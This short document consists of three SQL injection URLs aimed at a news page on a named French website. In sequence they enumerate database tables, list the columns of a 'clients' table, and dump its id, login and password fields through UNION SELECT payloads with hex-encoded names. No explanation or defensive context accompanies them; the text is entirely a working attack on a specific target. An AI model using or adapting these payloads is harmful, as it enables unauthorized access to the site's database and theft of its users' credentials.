http://www.unar.fr/pgs/news.php?id=-21+union+select+1,2,3,4,5,6,group_concat%28table_name+separator+0x3a%29,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where+table_schema=0x636d323330363737+--+

http://www.unar.fr/pgs/news.php?id=-21+union+select+1,2,3,4,5,6,group_concat%28column_name+separator+0x3a%29,8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+table_name=0x636c69656e7473+--+

http://www.unar.fr/pgs/news.php?id=-21+union+select+1,2,3,4,5,6,group_concat%280x0b,id,0x3a,login,0x3a,pwd%29,8,9,10,11,12,13,14,15,16+from+clients+limit+0,20+--+